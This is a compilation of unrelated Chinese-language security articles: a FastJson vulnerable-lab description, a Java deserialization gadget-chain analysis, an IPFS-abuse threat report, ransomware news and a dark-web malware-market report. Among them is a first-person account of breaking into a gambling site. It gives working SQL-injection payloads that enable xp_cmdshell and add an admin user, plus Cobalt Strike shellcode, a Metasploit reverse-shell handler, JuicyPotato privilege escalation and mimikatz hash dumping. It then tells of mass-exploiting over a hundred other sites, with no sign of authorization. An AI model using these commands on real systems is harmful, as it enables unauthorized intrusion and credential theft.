HireHackking

fastJson全版本Docker漏洞环境(涵盖1.2.47/1.2.68/1.2.80等版本)，主要包括JNDI注入、waf绕过、文件读写、反序列化、利用链探测绕过、不出网利用等。设定场景为黑盒测试，从黑盒的角度覆盖FastJson深入利用全过程，部分环境需要给到jar包反编译分析。 Docker环境 docker compose up -d 若docker拉取环境缓慢，请尝试使用国内镜像 https://www.runoob.com/docker/docker-mirror-acceleration.html 环境启动后，访问对应ip的80端口： 总结了一些关于FastJson全版本常用漏洞利用Poc,可搭配食用：Fastjson全版本检测及利用-Poc 环境使用后请销毁,否则可能会冲突：docker compose down 整理一下靶场顺序：(根据利用特点分成三个大类) FastJson 1.2.471247-jndi 1247-jndi-waf 1247-waf-c3p0 1245-jdk8u342 FastJson 1.2.681268-readfile 1268-jkd11-writefile 1268-jdk8-writefile 1268-writefile-jsp 1268-writefile-no-network 1268-jdbc 1268写文件利用另外写了一篇，可搭配使用：FastJson1268写文件RCE探究 FastJson 1.2.801280-groovy 1283-serialize 每个机器根目录下都藏有flag文件，去尝试获取吧！ 部分环境wp目前还未给出,打算过段时间放出，也欢迎提交你的wp和建议 DOCK环境：https://github.com/lemono0/FastJsonParty

0x01 前言距離上一次更新JAVA安全的系列文章已經過去一段時間了，在上一篇文章中介紹了反序列化利用鏈基本知識，並闡述了Transform鏈的基本知識。 Transform鏈並不是一條完整的利用鏈，只是CommonsCollections利用鏈中的一部分。當然並不是所有的CC鏈都需要用Transform鏈。 為了更方便的理解CC鏈，我們並不會按照順序來闡述所有的鏈，而是按照鏈的難易程度，由易到難。 0x02CommonsCollections5鏈CommonsCollections5鍊是整個CC鏈中最簡單的一條鏈，通過BadAttributeValueExpException類的readObject方法觸發反序列化的過程，最終調用Transform鏈來達到命令執行的效果。 在ysoserial的環境中調試CommonsCollections5鏈的方式很簡單，如圖2.1所示。 圖2.1 使用ysoserial生成反序列化利用鏈 直接調用就會執行彈出計算器的命令，跟踪run方法可以查看代碼執行邏輯，如圖2.2所示。 圖2.2 在ysoserial中的序列化和反序列化過程 在ysoserial的run方法中既有序列化的過程，也有反序列化的過程。所以調用run方法因為反序列化的過程導致會執行對應的惡意代碼，彈出計算器。 在很多情況下需要保存反序列化對像到文件，可以通過在run方法中添加文件保存方法即可，如圖2.3所示。 圖2.3 保存序列化字節碼對像到文件 通過上面的方式可以直接把生成的序列化字節碼對象保存到文件cc.ser，查看文件內容，如圖2.4所示。文件中開頭的字符是aced0005，符合序列化文件的標準特徵。 圖2.4 通過xxd查看序列化文件保存的內容 通過上面的方式可以利用ysoserial生成標準的CommonsCollections5利用鏈對應的payload，下一步會繼續對CommonsCollections5利用鏈的調用過程進行分析。 通過debug的方式可以查看整個CommonsCollections5利用鏈的棧調用過程，如圖2.5所示。 圖2.5 CommonsCollections5利用鏈的棧調用過程 在圖2.5中，紅框2對應的過程階段是屬於Transform鏈的調用過程，在上一篇文章中已經進行詳述。紅框1對應的過程階段是屬於CommonsCollections5特有的調用過程，也是屬於本文的重點部分內容。 反序列化的起始點是javax.management.BadAttributeValueExpException類的readObject方法，如圖2.6所示。 圖2.6 調用BadAttributeValueExpException類的readObject方法 從圖2.6可以看出readObject方法首先獲取字節流類（也就是本類）對應的val字段，然後基於多個判斷，最終下一步操作是val字段對應的toString方法。這裡有一點需要注意的是判斷邏輯中要求System.getSecurityManager()為null，也就是不能開啟SecurityManager模式。 在下一步的調用棧中是調用了org.apache.commons.collections.keyvalue.TiedMapEntry的toString方法，也就是需要把上一步的val字段類型賦值為TiedMapEntry類。在TiedMapEntry類的toString方法中調用了getValue方法，如圖2.7所示。 圖2.7 TiedMapEntry類的toString方法 繼續跟踪getValue方法，如圖2.8所示。 圖2.8 調用map接口的get方法 從圖2.8可以看出，這裡調用了java.util.Map接口的get方法。所有隻要找到一個繼承自java.util.Map接口的類的get方法中存在惡意調用即可。在CommonsCollections5鏈中找到的惡意類是org.apache.commons.collections.map.LazyMap類，如圖2.9所示。 圖2.9 LazyMap類的get方法調用 從圖2.9可以看出LazyMap類的get方法會調用org.apache.commons.collections.Transformer類的transform方法。在上一篇文章的內容中已經講到在反序列化過程中如果可以調用transform方法，那麼就可以通過transform方法來執行系統命令，也就可以達到RCE的效果。 實際上要編寫真正可利用的EXP遠比基於棧調用來分析更加複雜，因為在編寫EXP的過程中，需要考慮每一步棧調用的過程中的邏輯判斷條件，這並不是一件簡單的事情。 一般來說反序列化利用鏈代碼的編寫是倒著來寫的，首先是transform鏈的構造，如果某個類可以調用transformChain的transform方法，則可以執行命令，如圖2.10所示 圖2.10 通過調用Transformer類的transform方法調用執行命令 註釋transform方法調用，繼續倒序編寫EXP。如果某個類可以調用LazyMap類的get方法，則可以執行系統命令，如圖2.11所示。 圖2.11 通過調用LazyMap類的get方法執行命令 註釋LazyMap的get方法調用，繼續倒序編寫EXP。如果某個類可以調用TiedMapEntry類的toString方法，則可以執行系統命令，如圖2.12所示。 圖2.12 通過調用TiedMapEntry類的toString方法執行系統命令 註釋TiedMapEntry的toString方法調用，繼續倒序編寫EXP。找到javax.management. BadAttributeValueExpException類的readObject方法中存在toString的方法調用，模擬反序列化過程，執行命令，如圖2.13所示。 圖2.13 模擬BadAttributeValueExpException類的反序列化過程執行命令 這樣就完整的複現和分析了CommonsCollections5利用鏈，從圖2.13的payload中可以看出CommonsCollections5利用鏈中沒有復雜的邏輯處理，適合新手入門java反序列化漏洞學習。 0x03CommonsCollections7鏈CommonsCollections7鍊是一條和CommonsCollections5鏈很像的利用鏈，最終的結果都是通過LazyMap的get方法調用Transform鏈來執行命令，調用棧如圖3.1所示。 圖3.1CommonsCollections7利用鏈 如圖3.1所示，其中紅框部分和CommonsCollections5鍊是完全一樣的，區別在於CommonsCollections7鍊是通過Hashtable類readObject方法一步步調用AbstractMap類的equals方法來調用的。 由於分析調用鏈的方式基本相同，所以不再對這條鏈進行分析。 0x04 結論CommonsCollections利用鏈中有多條利用鏈都涉及到Transform鏈，包括CC1、CC5、CC6、CC7，其中的調用過程都非常相似。但是並不是所有的CC鏈都是基於Transform實現的命令執行，在下一篇文章中會講到其他的利用鏈，會有更加複雜的應用方式。 往期推薦1 告別腳本小子系列丨JAVA安全(1)——JAVA本地調試和遠程調試技巧 2 告別腳本小子系列丨JAVA安全(2)——JAVA反編譯技巧 3 告別腳本小子系列丨JAVA安全(3)——JAVA反射機制 4 告別腳本小子系列丨JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析 5 告別腳本小子系列丨JAVA安全(5)——序列化與反序列化 6 告別腳本小子系列丨JAVA安全(6)——反序列化利用鏈（上）

0x00 前言我们的小团队对偶然发现的bc站点进行的渗透,从一开始只有sqlmap反弹的无回显os-shell到CS上线,到配合MSF上传脏土豆提权,到拿下SYSTEM权限的过程,分享记录一下渗透过程 0x01 登录框sql注入看到登录框没什么好说的,先试试sqlmap一把梭 burp抓包登录请求,保存到文件直接跑一下试试 python3 sqlmap.py -r "2.txt"有盲注和堆叠注入 看看能不能直接用sqlmap拿shell python3 sqlmap.py -r "2.txt" --os-shell目测不行 提示的是xp_cmdshell未开启,由于之前扫出来有堆叠注入,尝试运用存储过程打开xp_cmdshell Payload: userName=admin';exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;WAITFOR DELAY '0:0:15' --&password=123延时15秒,执行成功(如果没有堆叠注入就把每个语句拆开一句一句执行,效果理论上应该是一样的) 顺便试试看直接用xp_cmdshell来加用户提权,构造payload(注意密码别设太简单,windows系统貌似对密码强度有要求,设太简单可能会失败) userName=admin';exec xp_cmdshell 'net user cmdshell Test ZjZ0ErUwPcxRsgG8E3hL /add';exec master..xp_cmdshell 'net localgroup administrators Test /add';WAITFOR DELAY '0:0:15' --&password=123nmap扫了一下,目标的3389是开着的,mstsc.exe直接连 没连上 再跑一下os-shell,发现能跑绝对路径了,好兆头 成功弹出shell 因为是盲注,所以执行whoami之类的命令各种没回显,于是直接来个CS的shellcode 生成的shellcode直接粘贴进os-shell里回车 然后CS里啪的一下就上线了,很快啊.赶紧喊几个不讲武德的年轻人上线打牌 0x02 信息收集tasklist看一下进程,有阿里云盾,有点难搞 systeminfo看看有什么 阿里云的服务器,版本windows server 2008 R2打了75个补丁 whoami一下,目测数据库被做过降权,nt service权限,非常低 尝试传个ms-16-032的exp上去,直接上传失败 到这里,CS的作用已经极其有限了.CS也就图一乐,真渗透还得靠MSF 0x03 利用frp到CS服务端联动MSF攻击在CS上开一个监听器 修改一下frp的配置文件 保存配置文件后在frp文件夹下启动frp ./frpc -c frpc.ini 打开msf开启监听 use exploit/multi/handlerset payload windows/meterpreter/reverse_httpset LHOST 127.0.0.1set LPORT 9996run这里可以看到MSF已经开启监听了 回到CS,右键选一个主机增加一个会话 选择刚创建好的监听器,choose 回到msf,session啪的一下就弹回来了,很快啊 我们进shell看一下,实际上就是接管了CS的beacon,依然是低权限 0x04 上传烂土豆EXP提权在本地准备好一个烂土豆的EXP(注意windows路径多加个斜杠,虽然也可以不加,但试了几台机子发现加了成功率高,不知道什么原理) upload /root/EXP/JuicyPotato/potato.exe C:\\Users\\Public CS翻一下目标机器的文件,发现成功上传 然后进目标机器的这个文件夹下开始准备提权 cd C:\\Users\\Publicuse incognitoexecute -cH -f ./potato.exelist_tokens -u复制administrator的令牌impersonate_token "administrator的令牌" 最后检查一下是否提权成功 0x05 mimikatz抓取密码hash先提个权 getsystem 试试能不能直接dump出来 不行,只好用mimikatz了 load mimikatz然后抓取密码哈希 mimikatz_command -f samdump::hashes 也可以用MSF自带的模块(这个比mimikatz慢一点) run post/windows/gather/smart_hashdump 然后丢到CMD5解密,如果是弱口令可以解出账户密码,这次运气比较好,是个弱口令,直接解出了密码,然后mstsc.exe直接连,成功上桌面 0x06 信息收集扩大攻击范围成功获取到目标最高权限之后,尝试通过信息收集获取其他相类似的站点进行批量化攻击. @crow师傅提取了该网站的CMS特征写了一个fofa脚本批量扫描,最终得到了1900+个站点 但由于bc站往往打一枪换一个地方,这些域名往往大部分是不可用的,因此需要再确认域名的存活状态,使用脚本最终得到了一百多个存活域名 在使用脚本批量访问带漏洞的URL,把生成的request利用多线程脚本批量发起请求去跑这个请求 python3 sqlmap.py -r "{0}" --dbms="Microsoft SQL Server" --batch --os-shell最终得到可以弹出os-shell的主机,再通过手工注入shellcode,最终得到大量的上线主机 0x07 进后台逛逛用数据库里查出来的管理员账号密码登录网站后台看一看 20个人充值了80多万 还有人的游戏账号叫"锦绣前程",殊不知网赌就是在葬送自己的前程! 劝大家远离赌博,也希望陷进去的赌徒回头是岸! 转载于原文链接地址： https://mp.weixin.qq.com/s?__biz=MzI3NjA4MjMyMw==&mid=2647772541&idx=1&sn=646e732c96521e0d4d9d109426c4dc4d&chksm=f35f9681c4281f97b4c46cd95f858dc90481706a6db607fcfd6596a15745ca10c88ba83e0e9f&scene=21#wechat_redirect

2022年，unit42觀察到，IPFS(InterPlanetary File System,星際文件系統)被廣泛用作惡意工具。 IPFS是一種全新的超媒體文本傳輸協議，可以把它理解為一種支持分佈式存儲的網站。 與任何技術一樣，IPFS也可能被攻擊者者濫用。然而，由於IPFS上的託管內容是去中心化和分佈式的，因此在定位和刪除生態系統中的惡意內容方面存在挑戰，這使其類似於bullet-proof 託管。 從2021第四季度到2022年第四季度末，Palo Alto Networks檢測到IPFS相關流量增加了893%。調查還顯示，病毒總數在同一時期增長了27000%以上。 IPFS相關流量的增加伴隨著惡意活動的顯著增加。檢測發現，2022年的許多攻擊活動涵蓋了網絡釣魚、憑證盜竊和惡意有效負載傳播。 整體流量增加從2022年第一季度開始，Palo Alto Networks的IPFS流量顯著增加，如下圖所示。 2022年第一季度，研究人員檢測到IPFS流量與2021年最後一個季度末的記錄相比增長了178%。 之後流量繼續增加： 第二季度增長85%； 第三季度增長62%； 2022年最後一個季度增長了19%； 這相當於整體增長了893%。 與IPFS相關的流量在2022年第一季度的VirusTotal上也出現了類似的增長，與2021年第四季度相比增長了6503% 之所以會出現這種增長，是因為採用了IPFS技術。新技術出現後總會有人惡意使用它。研究人員在Palo Alto Networks和VirusTotal提交的IPFS流量中觀察到的顯著增加也包括使用IPFS的惡意活動的大幅增加。 研究人員觀察到，攻擊者經常為他們的詐騙服務做廣告，使用各種宣傳。也就是說，由於IPFS分佈式文件系統的性質，IPFS為他們的活動提供了持久性。 攻擊者使用客戶IPFS鏈接銷售詐騙服務 攻擊者出售IPFS網絡釣魚頁面 攻擊者正在使用公共IPFS網關作為傳遞其惡意內容的方式。如果沒有這些互聯網可訪問網關，攻擊者將無法將IPFS網絡作為其攻擊活動的一部分。這一趨勢在許多網絡釣魚和網絡犯罪活動中使用互聯網可訪問的IPFS鏈接中可以看到，這些活動的初始攻擊媒介通常是電子郵件誘餌。 接下來，我們將詳細介紹在分析惡意使用IPFS技術時看到的一些攻擊活動。 網絡釣魚下圖顯示了IPFS與網絡釣魚相關的網絡流量呈指數級增長，尤其是在今年最後一個季度。與託管在網絡上的傳統網絡釣魚頁面不同，託管提供商或管理機構無法輕鬆刪除IPFS網絡釣魚內容。 一旦發佈到IPFS網絡，任何人都可以在自己的節點上獲取並重新發佈內容。網絡釣魚內容可以託管在多個節點上，並且必須向每個主機發出刪除內容的請求。如果任何一個主機不同意刪除，那麼內容幾乎不可能被刪除。 由於網站所有者、託管提供商或版主刪除或暫停內容，網絡釣魚活動的生存時間（TTL）通常比其他類型的網絡犯罪更短。 IPFS的結構使攻擊者能夠通過使其更具抵禦能力來延長他們的活動。 IPFS網絡釣魚URL IPFS網絡釣魚活動與傳統網絡釣魚活動類似，攻擊者模仿合法服務和軟件（如DHL、DocuSign和Adobe）來增加進入某人收件箱的可能性。阻止這些誘惑的能力取決於接收組織的電子郵件安全性。雖然一些組織在其安全電子郵件網關和其他安全產品中製定了非常嚴格的規則，但其他組織沒有這樣做，因為擔心合法的電子郵件會受到影響。 請注意，下面顯示的名稱和徽標是攻擊者試圖冒充合法組織的作品，攻擊者的模仿並不意味著合法組織的產品或服務存在漏洞。 在下面的示例中，模仿DHL品牌的電子郵件誘餌包含一個附件。在該附件中，有一個指向實際網絡釣魚頁面的IPFS鏈接。 DHL主題的電子郵件誘餌，附件已提交給VirusTotal 一旦用戶點擊下圖所示的附件，就會預覽一張模仿Adobe PDF標識的假髮票。 “打開”按鈕實際上是一個IPFS鏈接，將用戶重定向到實際的網絡釣魚頁面，而不是打開PDF。這個頁面可以通過IPFS網關訪問。 附有DHL誘餌鏈接的附件 IPFS URL通過IPFS[.]io將用戶重定向到Adobe網絡釣魚頁面，然後嘗試竊取用戶的登錄憑據。 在DHL主題誘餌的附件中發現了IPFS釣魚鏈 與其他Web3技術一樣，常用的數據外竊取方法在IPFS網絡上是不可能的。攻擊者無法接收受害者輸入到表單中的數據，從而竊取他們的憑據。 標準的web表單使用HTML前端來顯示內容，後端使用表單處理器來收集、處理並將數據發送到web服務器。 IPFS不包含相同或類似的技術來處理這些動態功能。 使用IPFS的人只是簡單地提取或檢索數據的只讀副本，而不是與之交互。 IPFS網關後面的網絡釣魚頁面依賴於許多其他技術。 例如，攻擊者可以在收集帳戶憑證的網頁中使用嵌入式腳本代碼。他們還可以使用無頭表單，即可以填寫和收集的靜態用戶表單。表單字段被映射到JSON模型，以便通過API發送到後端系統，從而促進API驅動的竊取。這些信息是通過HTTP POST請求收集的，這些請求被發送給攻擊者，在那裡它可以被用於其他惡意目的。 Nillis.html中的未轉義腳本下圖顯示了一個模仿Microsoft的網絡釣魚示例，它以HTML頁面的形式託管。鏈接此頁面的IPFS URL為 hxxps[://]bafybeicw4jjag57bk3czji7wjznkkpbocg27qk3fjvqh5krbrfiqbksr2a[.]ipfs[.]w3s[.]link/Nills[.]html. Nills.html的網絡釣魚頁面 要了解憑據將如何被竊取的，有必要查看網頁的源內容。 下圖顯示了一個名為WriteHTMLtoJS的函數。此函數的目的是將HTML寫入JavaScript (JS)，並對內容進行轉義。 UnescapeJS函數負責用實際的ASCII字符值解碼十六進制序列 Nills.html網頁的源代碼視圖 解碼和分析未轉義的內容會發現一對腳本標籤和一個觀察到的URL，它是app[.]headlessforms[.]cloud，網絡釣魚頁面似乎與此URL有關。 對無頭表單的分析表明，此網絡釣魚頁面使用的是一種管理用戶表單的方法，在該方法中，可以在第三方後端捕獲數據，而無需設計或開發前端web應用程序。 Nills.html的解碼視圖，其中包含憑據洩露的位置 受害者輸入帳戶用戶名和密碼憑據後，它將通過HTTPPOST請求發送。 URI末尾的字符串（GjCP9S9nke）是與無頭表單平台上的攻擊者相關聯的唯一標識令牌。 HTTP POST和捕獲的憑據 new.html中的HTTP POST另一個模仿微軟的網絡釣魚頁面也託管在IPFS上，名為new.html。關聯的IPFS釣魚URL為： hxxp[://]bafybeifm5vcoj35hhuxf7ha3gg6asrrlrwu3bvcysgmrvygnm3qjmugwxq[.]ipfs[.]w3s[.]link/new[.]html?email= new.html釣魚頁面 查看網頁源代碼會發現一個與前面引用的類似的JS函數，它對內容進行反轉義，將其解碼為ASCII值。 unescape函數如下圖所示。 new.html的源代碼視圖 對內容進行解碼後，會發現位於大量代碼底部附近的一個感興趣的片段，如下圖所示。 new.html URL 上圖中的代碼片段顯示了註冊到提交按鈕的點擊函數事件的外部URL (fairpartner[.]ru)。此URL將與HTTP POST請求提供的數據聯繫，如下圖所示。 fairpartner.ru的DNS請求 截止發文，研究人員還無法捕獲憑證盜竊，因為該域不再可訪問，這突出了使用第三方服務(如無頭表單)進行攻擊的優勢。 IPFS不僅被攻擊者用於網絡釣魚，它還用於惡意軟件攻擊集和勒索軟件。 眾所周知，RansomEXX等勒索軟件即服務（RaaS）運營商會使用IPFS網絡發布受害者被盜的數據。 Smoke Loader、XLoader、XMRig和OriginLogger等惡意軟件經常使用IPFS鏈接進行惡意有效負載傳遞。 IPStorm和Dark實用程序使用IPFS網絡作為基礎設施。 攻擊過程攻擊者以幾種不同的方式使用IPFS網關。可以將這些方法分類為傳播方法，或用作託管或分級有效負載的基礎設施，或者用作分散的C2信道。 以下惡意軟件家族在2022年全年一直在使用IPFS。惡意軟件家族Dark Utilities一直在使用IPFS網關來轉移惡意負載。 IPStorm使用IPFS網關作為P2P通信的C2信道。 攻擊者還使用IPFS網關提供各種惡意軟件，例如： OriginLogger XLoader XMRig Metasploit 接下來，我們將介紹這些攻擊是如何在高級別上運行的，包括IPFS是如何被用來促進惡意操作的。 OriginLoggerOriginLogger惡意軟件開始於2019年。它是Agent Tesla遠程訪問木馬的迭代版本。它是用.NET編寫的，是一個隱蔽性很強的信息竊取程序。這種攻擊通常以擊鍵和剪貼板數據為目標，這些數據通過C2通道傳送回攻擊者控制的服務器。 Unit 42的研究人員發現了一個偽裝成逾期發票的電子郵件誘餌，帶有XLL附件。打開XLL文件後，會向IPFS URL發送HTTP GET請求： hxxps[://]ipfs[.]io/ipfs/QmXtVwamvHvXZzuEZcMn2xDsPRKN8uS17YCUzTiGx1rYnv?filename=file-05-2022.exe 此URL用於通過IPFS網關下載OriginLogger負載。 附件 下圖顯示了OriginLogger的第二個傳播示例，這封電子郵件也偽裝成過期發票，標題是“過期發票”。 這個電子郵件誘餌還有一個XLL文件附件。打開後，還會向IPFS URL發送GET請求： hxxps[://]ipfs[.]io/ipfs/QmXtVwamvHvXZzuEZcMn2xDsPRKN8uS17YCUzTiGx1rYnv?filename=file-05-2022.exe 點擊此URL可通過IPFS網關下載OriginLogger負載。 推送包含OriginLogger有效負載的附件的電子郵件 下面列出了託管在IPFS上的一些其他OriginLogger有效負載，這些負載來自2022年5月至6月期間發生的一場活動： hxxps[://]ipfs[.]io/ipfs/QmQBPuPxy3nZjK2yVspsUJVhutajAfRQpnjc58RAcUJFrh?filename=INV-SCL0093-05-22pdf.exe hxxps[://]ipfs[.]io/ipfs/QmY4kDbUk8VYM8Zzn1rVgfa3c4ybma4evMBfyWwyieaZxW?filename=Sign-Reurn-pdf.exe hxxps[://]ipfs[.]io/ipfs/QmczJ1MxQ2SH8deXBTJfFgsrApM5BShgLSh1MQry4Vxc4c?filename=REF XLoaderXLoader惡意軟件起始於2020年，是FormBook的迭代版。 XLoader被宣傳為一種可以在Windows和macOS上運行的軟件即服務（MaaS）產品。 XLoader能竊取瀏覽器和登錄憑證，它還能夠記錄鍵盤和捕獲屏幕截圖。 Unit 42的研究人員觀察到以下與XLoader有效負載託管相關的野外（ITW）URL： hxxp[://]bafybeiafb63z73aoz3d4jdpve2rhlwo6ujlzjyri26z63flqnara2dqwoa[.]ipfs[.]dweb[.]link/order.exe bafybeicokadgkcohrqslwdnmtu5mcc2zmo2hveiw2bh5j5z35onsxe3cy4[.]ipfs[.]dweb[.]link XMRigXMRig是一個自2017年以來一直活躍的惡意挖礦軟件，它是一個開源實用程序，很受各類攻擊組織的歡迎。 下圖顯示了一個ITW IPFS域，該域在2023年3月下旬為XMRig有效負載提供服務。 Unit 42的研究人員還觀察到攻擊者濫用Cloudflare的IPFS網關來託管XMRig。 ITW域正在下載XMRig有效負載 Unit 42觀察到以下與XMRig託管相關的URL： hxxps[://]bafybeibgc3snqi6qesnhskujhjcbduu7lfhju7eppumuqhymapuwvln6tq[.]ipfs[.]nftstorage[.]link hxxps[://]cloudflareipfs[.]com/ipns/12D3KooWDdu1TTG9JRzFisv8HBXE2Zi2qpqs1r2vb88vEE1ws5mc/phpupdate.exe 下圖顯示了XMRig的可執行PE文件屬性。 XMRig PE文件信息 MetasploitMetasploit框架是一個滲透測試工具包，自21世紀初以來就一直活躍。 Metasploit包含漏洞利用、模塊、有效負載和輔助功能。該工具包的主要用例是生成有效負載並實現代碼執行，以建立與受害者設備的通信通道。這使得使用該工具包的人能夠訪問和控制環境或用戶。 2023年3月下旬，Unit 42的研究人員觀察到一個ITW IPFS域： hxxps[://]bafybeihtuhj7ezvjbtig75qpv43t7eh6dmcnarlm454fx5yjb4uzqbidpy[.]ipfs[.]infura-ipfs[.]io 自2022年5月26日以來，該域一直在提供Metasploit shellcode負載。 shellcode連接回IP地址51.254.127[.]82。 從IPFS域下載Metasploit負載 Metasploit shellcode逆向shell IP連接 與相同的Metasploit有效負載相關的附加ITW域： hxxps[://]ipfs.infura[.]io/ipfs/QmejguEysvXLMaAYmXe3EXmjfnoAqMdVfn4ojto1yLTGhK IPStormIPStorm惡意軟件自2019年以來一直活躍，它使用IPFS作為C2通道。 IPStorm使用開源庫libp2p作為網絡棧，並通過IPFS網絡進行P2P通信。可執行文件是用Golang編寫的，包含多個可用於識別惡意軟件家族的軟件包名稱。該攻擊在模塊名稱之前使用文件夾名稱/storm，如下圖所示。 b8ee3897aff6c6660557a4c73b243870020705df6c87287040bfcd68b7c8b100中使用的GO庫的屏幕截圖 Dark UtilitiesDark Utilities惡意軟件家族最初是在2022年由Cisco Talos發現的。是一個為攻擊者提供全功能C2 功能的平台，使用IPFS作為其首選的傳播渠道。此攻擊可以針對Windows

一家總部位於美國的公司遭到網絡攻擊之後，惡意軟件研究人員發現了一種似乎具有“獨特技術功能”的新型勒索軟件，他們將其命名為Rorschach。 研究人員觀察到的功能之一是加密速度：據研究人員的測試結果顯示，Rorschach憑此速度成為如今最快速的勒索軟件威脅。 分析師們發現，黑客在利用一款威脅檢測和事件響應工具存在的弱點之後，在受害者網絡上部署了惡意軟件。 Rorschach的細節網絡安全公司Check Point的研究人員在應對美國一家公司的安全事件時發現，Rorschach是通過Cortex XDR中的簽名組件使用DLL側加載技術部署的，Cortex XDR是知名網絡安全公司Palo Alto Networks 的一款擴展檢測和響應產品。 攻擊者使用Cortex XDR轉儲服務工具（cy.exe）版本7.3.0.16740來側加載Rorschach加載器和注入器（winutils.dll），這導致將勒索軟件的攻擊載荷“config.ini”投放到記事本（Notepad）進程中。 加載器文件具有類似UPX的反分析保護機制，而主攻擊載荷通過使用VMProtect軟件對部分代碼進行虛擬化處理來防止逆向工程和檢測。 Check Point聲稱，Rorschach在Windows域控制器上執行時會創建一個組策略，以傳播到域中的其他主機。 在攻陷機器之後，惡意軟件會刪除四個事件日誌（應用程序日誌、安全日誌、系統日誌和Windows Powershell日誌），以清除其痕跡。 圖1. 攻擊鏈（圖片來源：Check Point） 雖然帶有硬編碼配置，但Rorschach支持可以擴展功能的命令行參數。 Check Point特別指出，這些選項是隱藏的，如果不對惡意軟件進行逆向工程分析，就無法訪問。以下是研究人員發現的一些參數： 圖2. Check Point 破解的參數 Rorschach的加密過程只有當受害者的機器用獨聯體（CIS）之外的語言加以配置時，Rorschach才會開始加密數據。 加密方案結合了curve25519算法和eSTREAM cipher hc-128算法，遵循間歇加密趨勢，這意味著它只對文件進行部分加密，從而提高了處理速度。 圖3. Rorschach的加密方案（圖片來源：Check Point） 研究人員特別指出，Rorschach 的加密例程表明“通過I/O完成端口高效地實現線程調度”。 Check Point表示：“此外，為了加快速度，似乎格外重視編譯器優化，大部分代碼進行了內聯處理。所有這些因素使我們認為，我們面對的可能是外面速度最快的勒索軟件之一。” 為了了解Rorschach的加密速度有多快，Check Point在一台六核CPU機器上搭建了含有220000個文件的測試環境。 Rorschach花了4.5分鐘來加密數據，而被認為最快的勒索軟件家族的LockBit v3.0卻用了7 分鐘才完成加密。 在鎖定係統之後，惡意軟件投放一封勒索函，其格式類似Yanlowang勒索軟件所用的勒索函。 據研究人員聲稱，這個惡意軟件的以前版本使用了類似DarkSide的勒索函。 Check Point表示，這種相似性可能導致其他研究人員將不同版本的Rorschach誤認為是DarkSide，後者於2021年更名為BlackMatter，並於同年銷聲匿跡。 圖4. Rorschach投放的最新勒索函（圖片來源：Check Point） BlackMatter的成員後來策劃了ALPHV/BlackCat勒索軟件行動，該行動於2021年11月啟動。 Check Point評估後認為，Rorschach從一些在線洩露的主要勒索軟件家族（Babuk、LockBit v2.0和DarkSide）借鑒了更好的功能。 除了自我傳播能力外，該惡意軟件還“提高了勒索攻擊的門檻”。 目前，Rorschach勒索軟件的運營商仍然不得而知，也沒有什麼品牌，這種情況在勒索軟件領域很少見。

2022年，卡巴斯基安全解決方案檢測到近170萬個針對移動用戶的惡意軟件或不需要的軟件裝入程序。儘管傳播此類裝入程序的最常見方式是通過第三方網站和不正規的應用商店，但它們的開發者也會想方設法將它們上傳到Google Play等官方商店，以提高傳播範圍。 這些應用程序通常受到嚴格監管，並且在發布之前有專門人員對其進行預審核。可防不勝防，惡意和不需要的軟件開發者使用了各種技巧來繞過平台檢查。例如，他們可能會上傳一個良性的應用程序，然後用惡意或可疑的代碼更新它，感染新用戶和已經安裝該應用的用戶。惡意應用程序一被發現就會從Google Play中刪除，但有時是在下載多次之後才能被發現。 本文的研究起始於用戶投訴，有用戶投訴在Google Play上發現了許多惡意和不需要的應用程序，為此卡巴斯基實驗室的研究人員決定分析一下暗網上此類惡意軟件的供求情況。分析這種威脅是如何產生的尤為重要，因為許多攻擊者經常會集團化運作，買賣Google Play賬戶、惡意軟件、廣告服務等。這是一個完整的地下世界，有自己的規則、市場價格和聲譽機構，我們會在本報告中對此進行概述。 分析方法使用卡巴斯基數字足跡分析功能，研究人員收集到了Google Play此類情況的數據。卡巴斯基數字足跡會對文本存儲網站和受限制的地下在線論壇進行監控，以發現洩露的賬戶和信息洩露。本報告中提供的報價發佈於2019年至2023年，來自九個最受歡迎的論壇，用於購買和銷售與惡意軟件和不需要的軟件相關的商品和服務。 主要發現能夠將惡意或不需要的應用程序發送到Google Play的裝入程序的價格在2000美元到20000美元之間。 為了使攻擊不被發現，很大一部分攻擊者嚴格通過論壇和Telegram進行談判。 最流行的隱藏惡意軟件和不需要的軟件的應用程序類別包括加密貨幣跟踪器、金融應用程序、二維碼掃描儀，甚至約會應用程序。攻擊者接受三種主要的支付方式：一部分利潤、訂閱費或租金以及一次性支付。 攻擊者推出谷歌廣告吸引更多人下載惡意和不需要的應用程序。廣告的費用取決於目標國家。美國和澳大利亞用戶的廣告費用最高，高達1美元左右。 暗網上提供的惡意服務類型與合法的在線市場一樣，暗網上也有各種優惠，供有不同需求和預算的客戶使用。在下面的屏幕截圖中，你可以看到一個優惠列表，其中介紹了針對Google Play用戶可能需要的不同商品和服務的數量。這份清單的開發者認為價格太高，然而，它們與我們在其他暗網優惠中看到的價格並不矛盾。 攻擊者購買的主要產品是開發人員的Google Play帳戶，這些帳戶可以被攻擊者使用竊取的身份攻擊或註冊，以及幫助買家將其創作上傳到Google Play的各種工具的源代碼。此外，攻擊者還提供VPS（售價300美元）或虛擬專用服務器等服務，攻擊者使用這些服務來控制受感染的手機或重定向用戶流量，以及基於網絡的注入。網絡注入是一種監控受害者活動的惡意功能，如果他們打開了攻擊者感興趣的網頁，注入器就會將其替換為惡意網頁。這種功能的售價為每個25-80美元。 一家暗網服務提供商稱這些價格太高，並指出他們以更低的價格出售同樣的服務 Google Play裝入程序在分析的大多數優惠中，攻擊者出售Google Play裝入程序，其目的是將惡意或不需要的代碼注入Google Play應用程序。然後，該應用程序會在Google Play上更新，受害者可能會將惡意更新下載到他們的手機上。根據注入到應用中的具體內容，用戶可能會獲得更新的最終有效載荷，或者收到通知，提示他們啟用未知應用的安裝，並從外部來源安裝。 在後一種情況下，除非用戶同意安裝額外的應用程序，否則通知不會消失。安裝應用程序後，攻擊者需要獲得訪問手機關鍵數據的權限，如輔助服務、攝像頭、麥克風等。受害者可能無法使用原始的合法應用程序，直到他們給予執行惡意活動所需的權限。一旦所有請求的權限都被授予，用戶最終能夠使用應用程序的合法功能，但與此同時，他們的設備也會受到感染。 